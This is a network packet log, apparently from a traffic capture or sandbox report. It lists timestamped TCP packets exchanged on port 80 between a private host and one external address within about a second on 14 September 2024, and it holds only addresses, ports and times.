Sep 14, 2024 18:44:11.707921982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.707976103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.708447933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.708503008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.708504915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.708554029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.708585024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.708602905 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.708621025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.708652973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.708671093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.708688974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.708774090 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.749241114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749300003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749331951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749387026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749399900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.749418974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749440908 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.749469042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749511957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749567986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.749568939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749607086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749644041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749655962 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.749686956 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.749695063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749726057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749763012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749771118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.749814987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749851942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749859095 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.749886990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749922037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749953985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.749965906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.749986887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750015020 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.750019073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750055075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750097036 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.750102043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750174046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750230074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750243902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.750264883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750277996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.750297070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750330925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750346899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.750365019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750401974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750452995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750453949 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.750484943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750497103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.750521898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750557899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750571012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.750588894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750622034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750653028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750667095 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.750689030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750694990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.750744104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750796080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750828981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750830889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.750863075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750875950 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.750900984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750932932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.750956059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.750966072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751003027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751043081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.751054049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751086950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751106024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.751118898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751153946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751168013 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.751204014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751241922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751250982 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.751274109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751312971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751338005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.751348019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751379967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751430035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751431942 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.751461983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751499891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751511097 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.751537085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751553059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.751569986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751602888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751636982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751651049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.751672983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751704931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751715899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.751738071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751770020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751774073 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.751802921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751816988 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.751835108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751869917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751899958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751916885 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.751935959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.751940966 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.751967907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752000093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752039909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752048969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.752073050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752090931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.752108097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752150059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752162933 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.752181053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752213955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752247095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752260923 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.752281904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752286911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.752402067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752434015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752465963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752486944 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.752500057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752515078 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.752542973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752583981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752624035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752634048 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.752659082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752693892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752707958 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.752728939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752748966 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.752764940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.752810955 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.794671059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.794742107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.794776917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.794805050 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.794810057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.794847965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.794863939 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.794882059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.794918060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.794929981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.796211004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.796271086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.796278954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.796324015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.796363115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.796396017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.796416044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.796427965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.796447039 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.796459913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.796499014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.796504021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.796732903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.796787977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.796791077 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.796844959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.796902895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.796936035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.796968937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.796991110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.797004938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.797024012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.797040939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.797050953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.837764978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.837827921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.837867975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.837879896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.837937117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.837975025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.837990999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838026047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838032961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.838078022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838113070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838146925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838198900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838210106 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.838210106 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.838233948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838269949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838303089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838330030 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.838335991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838371992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838404894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838406086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.838413000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.838455915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838490009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838500977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.838522911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838561058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838598967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838614941 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.838637114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838684082 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.838686943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838720083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838753939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838754892 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.838788986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838835001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.838836908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838871002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838907957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838932037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.838952065 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.838958025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.838985920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839021921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839031935 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.839059114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839107990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839142084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839154005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.839174032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839214087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839246988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839251041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.839282990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839329958 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.839334011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839369059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839423895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839461088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839472055 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.839510918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839544058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839557886 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.839576006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839587927 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.839613914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839648008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839658976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.839683056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839714050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839730024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.839746952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839778900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839814901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839824915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.839849949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839906931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839929104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.839940071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839972019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.839988947 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.840013027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840023041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.840045929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840076923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840094090 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.840114117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840146065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840188980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.840197086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840229988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840266943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840277910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.840298891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840317011 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.840348959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840383053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840396881 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.840415955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840454102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840461016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.840488911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840519905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840533972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.840553045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840585947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840600014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.840617895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840651989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840686083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840699911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.840718985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840722084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.840754986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840783119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840816975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840826035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.840852976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840863943 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.840886116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840931892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840964079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.840980053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.841001987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.841005087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.841037035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.841068983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.841088057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.841100931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.841134071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.841161966 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.841166019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.841200113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.841209888 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.841233969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.841268063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.841279984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.882757902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.882811069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.882848024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.882849932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.882880926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.882903099 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.882916927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.882950068 CEST	80	49722	188.114.97.3	192.168.2.6
